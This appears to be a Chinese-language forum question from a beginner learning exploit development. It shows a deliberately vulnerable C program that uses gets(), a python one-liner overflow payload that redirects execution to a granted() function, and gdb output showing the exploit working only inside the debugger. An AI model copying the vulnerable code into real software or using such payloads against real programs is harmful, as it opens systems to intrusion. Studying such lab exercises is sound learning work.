tl;dr:为什么我的漏洞利用只在 gdb 中有效。
我对缓冲区溢出和利用开发领域非常陌生。为了根据一系列论文和视频提高我的技能,我编写了这个简单的 C 软件:
注意:我禁用了 ASLR
我相信我的问题与此不同:缓冲区溢出漏洞利用与 gdb 一起工作,但并非没有,因为作者似乎启用了 ASRL。
#include <stdio.h>
#include <string.h>
void granted()
{
printf ("\nAccess granted\n");
return;
}
int main()
{
char password[104];
printf ("Enter your password: ");
gets(password);
if (strcmp(password,"p@$$w0rd"))
{
printf("\nFailed!!");
}
else
{
granted();
}
}
据我所知,有一个小错误:可以输入超过 103 个字符。
我的第一个漏洞利用目标是将执行流程重定向到授予的功能。
为了生成漏洞利用,我使用了以下命令python -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted
me@computer:~$ gdb bof3.bin
(gdb) r < payload-access-granted
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password:
Failed!!
Access granted
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
如您所见,有效负载做了预期的事情:跳转到授予的功能。漏洞利用正在工作......但是
外部 gdb:
me@computer:~$ ./bof3.bin < payload-access-granted
Enter your password:
Segmentation fault (core dumped)
那么,为什么会出现这种情况?我做错了什么?